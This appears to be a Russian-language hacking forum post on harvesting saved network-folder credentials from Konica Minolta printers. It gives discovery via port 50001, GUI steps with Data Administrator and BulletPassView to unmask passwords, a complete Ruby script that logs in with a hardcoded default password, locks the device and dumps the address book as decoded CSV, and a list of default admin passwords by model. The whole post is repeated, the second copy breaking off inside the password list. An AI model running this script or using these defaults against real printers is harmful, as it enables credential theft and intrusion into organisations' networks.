Eva Karimova
27.02.2026, 16:40
https://forum.antichat.xyz/attachments/4951049/img_d504913a67.png
В адресной книге МФУ Konica Minolta (стоит отметить, что быстро обнаружить принтеры данной марки можно с помощью поиска на сетевых устройствах открытого порта 50001), имеющих возможность сохранять сканированные документы в сетевые каталоги, сохраняются учетные данные для прохождения процедуры аутентификации. Эти данные хранятся в зашифрованном виде, через веб-форму невозможно узнать пароль, только логин. Однако, для ряда моделей есть скрипт в Metasploit.
Пример использования данного скрипта:
https://forum.antichat.xyz/attachments/4951049/1772191482688.png
Опытным путем получено следующее:
Данный скрипт работает через протокол SOAP по порту 50001. Сначала отправляет запрос на авторизацию с учетными данными, в ответе получает AuthKey. С полученным AuthKey запрашивает адресную книгу, которую получает в формате XML в открытом виде. Затем отправляет запрос на логаут.
На ряде МФУ, например, C3110, скрипт не работает.
Существует проприетарное ПО KONICA MINOLTA Data Administrator, позволяющее управлять принтерами данной марки.
Кроме этого, через данное ПО присутствует возможность получения аутентификационных данных.
Извлечение паролей возможно в случае, если есть аутентификационные данные для консоли управления принтером.
Извлечение паролей с помощью KONICA MINOLTA Data Administrator
Запускаем ПО
https://forum.antichat.xyz/attachments/4951049/1772191482693.png
Нажимаем кнопку "Registration of Device"
https://forum.antichat.xyz/attachments/4951049/1772191482699.png
Нажимаем клавишу "Search and Register..."
https://forum.antichat.xyz/attachments/4951049/1772191482705.png
Делаем двойной клик по нужному принтеру
https://forum.antichat.xyz/attachments/4951049/1772191482712.png
Вводим пароль администратора принтера и нажимаем "ОК"
https://forum.antichat.xyz/attachments/4951049/1772191482718.png
Закрываем окно с успешной регистрацией устройства, видим, что в списке устройств появилось новое.
https://forum.antichat.xyz/attachments/4951049/1772191482722.png
Делаем двойной клик по устройству
https://forum.antichat.xyz/attachments/4951049/1772191482728.png
Нажимаем кнопку Import и соглашаемся с всплывающим окном
https://forum.antichat.xyz/attachments/4951049/1772191482733.png
После недолгого процесса открывается окно с инфо об устройстве
https://forum.antichat.xyz/attachments/4951049/1772191482739.png
В левой части выбираем "Address Settings", в открытой вкладке "Address book"
https://forum.antichat.xyz/attachments/4951049/1772191482744.png
Открывается список сохраненных логинов/паролей, по двойному клику на запись открывается полная информация
https://forum.antichat.xyz/attachments/4951049/1772191482750.png
Пароль скрыт с использованием точек, но с помощью BulletPassView получим его в открытом виде
https://forum.antichat.xyz/attachments/4951049/1772191482758.png
Данный способ является универсальным для всех устройств фирмы Konica Minolta.
Автоматизация для остальных устройств
Исследовав способ взаимодействия (трафик отправляется в открытом виде без использования шифрования) данного ПО с принтерами C3110 узнали следующее:
В отличии от других принтеров, для выгрузки паролей нужно пять, а не три шага. А именно:
Запрос на аутентификацию с получением AuthKey
Запрос на блокировку устройства с получением LockKey
Запрос на получение адресной книги (с использованием AuthKey и LockKey)
Запрос на разблокировку устройства
Запрос на логаут
Стоит отметить, что при слишком быстром отправлении данных запросов устройство не обрабатывает и пропускает некоторые из них. В результате получим заблокированное устройство, разблокировать которое можно только перезагрузкой.
В результате имеем не XML, а закодированную в Base64 CSV.
Для автоматизации был модернизирован модуль для Metasploit, указанный выше. Используется Ruby с библиотеками 'net/http',
'uri', 'nokogiri', 'base64'.
В теле скрипта прописаны аутентификационные данные для принтера, а также указан IP-адрес принтера. В результате скрипт выдает CSV в чистом виде.
https://forum.antichat.xyz/attachments/4951049/1772191482784.png
Скрипт представлен в приложении.
Код:
require 'net/http'
require 'uri'
require 'nokogiri'
require "base64"
def generate_authkey_request_xlm(major, minor)
user ='Admin'
passwd = '12345678'
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
}
}
xml.send('SOAP-ENV:Body') {
xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('UserType') { xml.text "#{user}" }
xml.send('Password') { xml.text "#{passwd}" }
}
xml.send('TimeOut') { xml.text '60' }
}
}
}
end
end
def generate_logout_request_xlm(major, minor, authkey)
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
}
}
xml.send('SOAP-ENV:Body') {
xml.send('AppReqLogout', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('AuthKey') { xml.text "#{authkey}" }
}
xml.send('TimeOut') { xml.text '60' }
}
}
}
end
end
def generate_lock_request_xlm(major, minor, authkey)
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
}
}
xml.send('SOAP-ENV:Body') {
xml.send('AppReqEnterDeviceLock', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('AuthKey') { xml.text "#{authkey}" }
}
xml.send('LockType') { xml.text 'DownloadLock' }
xml.send('PackageEntryFlg') { xml.text 'Package' }
xml.send('TimeOut') { xml.text '60' }
}
}
}
end
end
def generate_unlock_request_xlm(major, minor, authkey, lockkey)
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
}
}
xml.send('SOAP-ENV:Body') {
xml.send('AppReqExitDeviceLock', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('AuthKey') { xml.text "#{authkey}" }
}
xml.send('LockKey') { xml.text "#{lockkey}" }
}
}
}
end
end
def generate_pwd_request_xlm(major, minor, authkey, lockkey)
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
}
}
xml.send('SOAP-ENV:Body'){
xml.send('AppReqSyncGetPackageData', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('AuthKey') { xml.text "#{authkey}" }
}
xml.send('LockKey') { xml.text "#{lockkey}" }
xml.send('RequestItem') { xml.text 'Abbr' }
xml.send('ObtainCondition'){
xml.send('Type') { xml.text 'OffsetList' }
xml.send('OffsetRange'){
xml.send('Start') { xml.text '1' }
xml.send('Length') { xml.text '100' }
}
}
xml.send('BackUp') { xml.text 'On' }
xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }
xml.send('FileFormat') { xml.text 'Csv' }
}
}
}
end
end
def version(ip)
response = send_request(ip, '','""')
if response.nil?
print_error("No response from device")
return
else
xml0_body = ::Nokogiri::XML(response.body)
major_parse = xml0_body.xpath('//Major').text
minor_parse = xml0_body.xpath('//Minor').text
major = ("#{major_parse}")
minor = ("#{minor_parse}")
sleep(1)
login(ip, major, minor)
end
rescue
puts("Version check Connection failed")
end
def login(ip, major, minor)
authreq_xml = generate_authkey_request_xlm(major, minor)
begin
response = send_request(ip, authreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqLogin")
if response.nil?
print_error("No response from device")
return
else
xml1_body = ::Nokogiri::XML(response.body)
authkey_parse = xml1_body.xpath('//AuthKey').text
authkey = ("#{authkey_parse}")
sleep(1)
lock(ip, major, minor, authkey)
logout(ip, major, minor, authkey)
end
rescue
puts("Login Connection failed")
end
end
def lock(ip, major, minor, authkey)
lockreq_xml = generate_lock_request_xlm(major, minor, authkey)
begin
response = send_request(ip, lockreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqEnterDeviceLock")
if response.nil?
print_error("No response from device")
return
else
xml1_body = ::Nokogiri::XML(response.body)
lockkey_parse = xml1_body.xpath('//LockKey').text
lockkey = ("#{lockkey_parse}")
sleep(1)
extract(ip, major, minor, authkey, lockkey)
unlock(ip, major, minor, authkey, lockkey)
end
rescue
puts("Lock failed")
end
end
def unlock(ip, major, minor, authkey, lockkey)
unlockreq_xml = generate_unlock_request_xlm(major, minor, authkey, lockkey)
begin
response = send_request(ip, unlockreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqExitDeviceLock")
sleep(1)
if response.nil?
print_error("No response from device")
return
end
rescue
puts("unlock failed")
end
end
def logout(ip, major, minor, authkey)
authreq_xml = generate_logout_request_xlm(major, minor, authkey)
begin
response = send_request(ip, authreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqLogout")
if response.nil?
print_error("No response from device")
return
end
rescue
puts("logout failed")
end
end
def extract(ip, major, minor, authkey, lockkey)
if (authkey != '')
smbreq_xml = generate_pwd_request_xlm(major, minor, authkey, lockkey)
begin
response = send_request(ip, smbreq_xml.to_xml,"http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqSyncGetPackageData")
sleep(1)
if response.nil?
print_error("No response from device")
return
else
pattern = /Content-Transfer-Encoding: base64(.*?)--MIME_boundary--/m
csv_data = nil
if match = response.body.match(pattern)
csv_data = match[1].strip
end
if csv_data.nil?
puts "CSV данные не найдены."
else
decoded_csv = Base64.decode64(csv_data)
puts "Decoded CSV:"
puts decoded_csv
end
end
end
end
end
def send_request(ip, data, action)
uri = URI.parse("http://#{ip}:50001/OpenAPI")
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Post.new(uri.path)
request.body = data # Тело запроса
request['Content-Type'] = 'text/xml'
request['SOAPAction'] = "#{action}"
return http.request(request)
end
version('172.16.1.121')
Пароли к устройствам Konica Minolta по умолчанию
ModelAdmin PassPSWC Admin Login/Pass
Model: 20/20p
Admin Pass: admin/access
PSWC: 25e(none)
Model: 36/42
Admin Pass: 12345678
PSWC: 12345678
Model: 40p
Admin Pass: administrator
PSWC: (none)
Model: 4050/4750
Admin Pass: 12345678
PSWC: 12345678
Model: 4052/4752
Admin Pass: 1234567812345678
PSWC: 1234567812345678
Model: c20
Admin Pass: 000000
PSWC: administrator
Model: c20p
Admin Pass: administrator
PSWC: (none)
Model: c25
Admin Pass: 000000
PSWC: administrator
Model: c35
Admin Pass: 12345678
PSWC: 12345678
Model: c35p
Admin Pass: administrator
PSWC: (none)
Model: C3100p
Admin Pass: 12345678
PSWC: 12345678
Model: C3110
Admin Pass: 12345678
PSWC: 12345678
Model: c3350/c3850/c3850FS
Admin Pass: 12345678
PSWC: 12345678
Model: c3351/c3851/c3851FS
Admin Pass: 1234567812345678
PSWC: 1234567812345678
Model: 162/163/165/185/210/211/215/226/266/306/225i
Admin Pass: 000000
PSWC: sysadm
Model: c250/c252/c352/c450/c203/c253/c353/c451/c650/c220/c280/c360
Admin Pass: 12345678
PSWC: 12345678
Model: c452/c552/c652/c652DS/420/500/361/421/501/223/283/363/423/552/652
Admin Pass: (none)
PSWC: (none)
Model: c224/c224e/c284/c284e/c364/c364e/c454/c454e/c554
Admin Pass: 1234567812345678
PSWC: 1234567812345678
Model: c554e/c654/c654e/c754/c754e/654/754/224e/284e/364e/454e/554e/
227/287/367/308/308e/368/368e/458/458e/558/558e/658e/758/808/958/
C227/C287/C258/C308/C368/C458/C558/C659/C759
Admin Pass: (none)
PSWC: (none)
Model: 4050i/4750i/300i/360i/450i/550i/650i/750i/850i/950i/C3300i/
C4000i/C3320i/C3350i/C4050i/C257i/C250i/C300i/C360i/C450i/C550i/
C650i/C750i
Admin Pass: 1234567812345678
PSWC: 1234567812345678
В адресной книге МФУ Konica Minolta (стоит отметить, что быстро обнаружить принтеры данной марки можно с помощью поиска на сетевых устройствах открытого порта 50001), имеющих возможность сохранять сканированные документы в сетевые каталоги, сохраняются учетные данные для прохождения процедуры аутентификации. Эти данные хранятся в зашифрованном виде, через веб-форму невозможно узнать пароль, только логин. Однако, для ряда моделей есть скрипт в Metasploit.
Пример использования данного скрипта:
https://forum.antichat.xyz/attachments/4951049/1772191482688.png
Опытным путем получено следующее:
Данный скрипт работает через протокол SOAP по порту 50001. Сначала отправляет запрос на авторизацию с учетными данными, в ответе получает AuthKey. С полученным AuthKey запрашивает адресную книгу, которую получает в формате XML в открытом виде. Затем отправляет запрос на логаут.
На ряде МФУ, например, C3110, скрипт не работает.
Существует проприетарное ПО KONICA MINOLTA Data Administrator, позволяющее управлять принтерами данной марки.
Кроме этого, через данное ПО присутствует возможность получения аутентификационных данных.
Извлечение паролей возможно в случае, если есть аутентификационные данные для консоли управления принтером.
Извлечение паролей с помощью KONICA MINOLTA Data Administrator
Запускаем ПО
https://forum.antichat.xyz/attachments/4951049/1772191482693.png
Нажимаем кнопку "Registration of Device"
https://forum.antichat.xyz/attachments/4951049/1772191482699.png
Нажимаем клавишу "Search and Register..."
https://forum.antichat.xyz/attachments/4951049/1772191482705.png
Делаем двойной клик по нужному принтеру
https://forum.antichat.xyz/attachments/4951049/1772191482712.png
Вводим пароль администратора принтера и нажимаем "ОК"
https://forum.antichat.xyz/attachments/4951049/1772191482718.png
Закрываем окно с успешной регистрацией устройства, видим, что в списке устройств появилось новое.
https://forum.antichat.xyz/attachments/4951049/1772191482722.png
Делаем двойной клик по устройству
https://forum.antichat.xyz/attachments/4951049/1772191482728.png
Нажимаем кнопку Import и соглашаемся с всплывающим окном
https://forum.antichat.xyz/attachments/4951049/1772191482733.png
После недолгого процесса открывается окно с инфо об устройстве
https://forum.antichat.xyz/attachments/4951049/1772191482739.png
В левой части выбираем "Address Settings", в открытой вкладке "Address book"
https://forum.antichat.xyz/attachments/4951049/1772191482744.png
Открывается список сохраненных логинов/паролей, по двойному клику на запись открывается полная информация
https://forum.antichat.xyz/attachments/4951049/1772191482750.png
Пароль скрыт с использованием точек, но с помощью BulletPassView получим его в открытом виде
https://forum.antichat.xyz/attachments/4951049/1772191482758.png
Данный способ является универсальным для всех устройств фирмы Konica Minolta.
Автоматизация для остальных устройств
Исследовав способ взаимодействия (трафик отправляется в открытом виде без использования шифрования) данного ПО с принтерами C3110 узнали следующее:
В отличии от других принтеров, для выгрузки паролей нужно пять, а не три шага. А именно:
Запрос на аутентификацию с получением AuthKey
Запрос на блокировку устройства с получением LockKey
Запрос на получение адресной книги (с использованием AuthKey и LockKey)
Запрос на разблокировку устройства
Запрос на логаут
Стоит отметить, что при слишком быстром отправлении данных запросов устройство не обрабатывает и пропускает некоторые из них. В результате получим заблокированное устройство, разблокировать которое можно только перезагрузкой.
В результате имеем не XML, а закодированную в Base64 CSV.
Для автоматизации был модернизирован модуль для Metasploit, указанный выше. Используется Ruby с библиотеками 'net/http',
'uri', 'nokogiri', 'base64'.
В теле скрипта прописаны аутентификационные данные для принтера, а также указан IP-адрес принтера. В результате скрипт выдает CSV в чистом виде.
https://forum.antichat.xyz/attachments/4951049/1772191482784.png
Скрипт представлен в приложении.
Код:
require 'net/http'
require 'uri'
require 'nokogiri'
require "base64"
def generate_authkey_request_xlm(major, minor)
user ='Admin'
passwd = '12345678'
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
}
}
xml.send('SOAP-ENV:Body') {
xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('UserType') { xml.text "#{user}" }
xml.send('Password') { xml.text "#{passwd}" }
}
xml.send('TimeOut') { xml.text '60' }
}
}
}
end
end
def generate_logout_request_xlm(major, minor, authkey)
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
}
}
xml.send('SOAP-ENV:Body') {
xml.send('AppReqLogout', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('AuthKey') { xml.text "#{authkey}" }
}
xml.send('TimeOut') { xml.text '60' }
}
}
}
end
end
def generate_lock_request_xlm(major, minor, authkey)
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
}
}
xml.send('SOAP-ENV:Body') {
xml.send('AppReqEnterDeviceLock', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('AuthKey') { xml.text "#{authkey}" }
}
xml.send('LockType') { xml.text 'DownloadLock' }
xml.send('PackageEntryFlg') { xml.text 'Package' }
xml.send('TimeOut') { xml.text '60' }
}
}
}
end
end
def generate_unlock_request_xlm(major, minor, authkey, lockkey)
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
}
}
xml.send('SOAP-ENV:Body') {
xml.send('AppReqExitDeviceLock', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('AuthKey') { xml.text "#{authkey}" }
}
xml.send('LockKey') { xml.text "#{lockkey}" }
}
}
}
end
end
def generate_pwd_request_xlm(major, minor, authkey, lockkey)
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
}
}
xml.send('SOAP-ENV:Body'){
xml.send('AppReqSyncGetPackageData', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('AuthKey') { xml.text "#{authkey}" }
}
xml.send('LockKey') { xml.text "#{lockkey}" }
xml.send('RequestItem') { xml.text 'Abbr' }
xml.send('ObtainCondition'){
xml.send('Type') { xml.text 'OffsetList' }
xml.send('OffsetRange'){
xml.send('Start') { xml.text '1' }
xml.send('Length') { xml.text '100' }
}
}
xml.send('BackUp') { xml.text 'On' }
xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }
xml.send('FileFormat') { xml.text 'Csv' }
}
}
}
end
end
def version(ip)
response = send_request(ip, '','""')
if response.nil?
print_error("No response from device")
return
else
xml0_body = ::Nokogiri::XML(response.body)
major_parse = xml0_body.xpath('//Major').text
minor_parse = xml0_body.xpath('//Minor').text
major = ("#{major_parse}")
minor = ("#{minor_parse}")
sleep(1)
login(ip, major, minor)
end
rescue
puts("Version check Connection failed")
end
def login(ip, major, minor)
authreq_xml = generate_authkey_request_xlm(major, minor)
begin
response = send_request(ip, authreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqLogin")
if response.nil?
print_error("No response from device")
return
else
xml1_body = ::Nokogiri::XML(response.body)
authkey_parse = xml1_body.xpath('//AuthKey').text
authkey = ("#{authkey_parse}")
sleep(1)
lock(ip, major, minor, authkey)
logout(ip, major, minor, authkey)
end
rescue
puts("Login Connection failed")
end
end
def lock(ip, major, minor, authkey)
lockreq_xml = generate_lock_request_xlm(major, minor, authkey)
begin
response = send_request(ip, lockreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqEnterDeviceLock")
if response.nil?
print_error("No response from device")
return
else
xml1_body = ::Nokogiri::XML(response.body)
lockkey_parse = xml1_body.xpath('//LockKey').text
lockkey = ("#{lockkey_parse}")
sleep(1)
extract(ip, major, minor, authkey, lockkey)
unlock(ip, major, minor, authkey, lockkey)
end
rescue
puts("Lock failed")
end
end
def unlock(ip, major, minor, authkey, lockkey)
unlockreq_xml = generate_unlock_request_xlm(major, minor, authkey, lockkey)
begin
response = send_request(ip, unlockreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqExitDeviceLock")
sleep(1)
if response.nil?
print_error("No response from device")
return
end
rescue
puts("unlock failed")
end
end
def logout(ip, major, minor, authkey)
authreq_xml = generate_logout_request_xlm(major, minor, authkey)
begin
response = send_request(ip, authreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqLogout")
if response.nil?
print_error("No response from device")
return
end
rescue
puts("logout failed")
end
end
def extract(ip, major, minor, authkey, lockkey)
if (authkey != '')
smbreq_xml = generate_pwd_request_xlm(major, minor, authkey, lockkey)
begin
response = send_request(ip, smbreq_xml.to_xml,"http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqSyncGetPackageData")
sleep(1)
if response.nil?
print_error("No response from device")
return
else
pattern = /Content-Transfer-Encoding: base64(.*?)--MIME_boundary--/m
csv_data = nil
if match = response.body.match(pattern)
csv_data = match[1].strip
end
if csv_data.nil?
puts "CSV данные не найдены."
else
decoded_csv = Base64.decode64(csv_data)
puts "Decoded CSV:"
puts decoded_csv
end
end
end
end
end
def send_request(ip, data, action)
uri = URI.parse("http://#{ip}:50001/OpenAPI")
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Post.new(uri.path)
request.body = data # Тело запроса
request['Content-Type'] = 'text/xml'
request['SOAPAction'] = "#{action}"
return http.request(request)
end
version('172.16.1.121')
Пароли к устройствам Konica Minolta по умолчанию
ModelAdmin PassPSWC Admin Login/Pass
Model: 20/20p
Admin Pass: admin/access
PSWC: 25e(none)
Model: 36/42
Admin Pass: 12345678
PSWC: 12345678
Model: 40p
Admin Pass: administrator
PSWC: (none)
Model: 4050/4750
Admin Pass: 12345678
PSWC: 12345678
Model: 4052/4752
Admin Pass: 1234567812345678
PSWC: 1234567812345678
Model: c20
Admin Pass: 000000
PSWC: administrator
Model: c20p
Admin Pass: administrator
PSWC: (none)
Model: c25
Admin Pass: 000000
PSWC: administrator
Model: c35
Admin Pass: 12345678
PSWC: 12345678
Model: c35p
Admin Pass: administrator
PSWC: (none)
Model: C3100p
Admin Pass: 12345678
PSWC: 12345678
Model: C3110
Admin Pass: 12345678
PSWC: 12345678
Model: c3350/c3850/c3850FS
Admin Pass: 12345678
PSWC: 12345678
Model: c3351/c3851/c3851FS
Admin Pass: 1234567812345678
PSWC: 1234567812345678
Model: 162/163/165/185/210/211/215/226/266/306/225i
Admin Pass: 000000
PSWC: sysadm
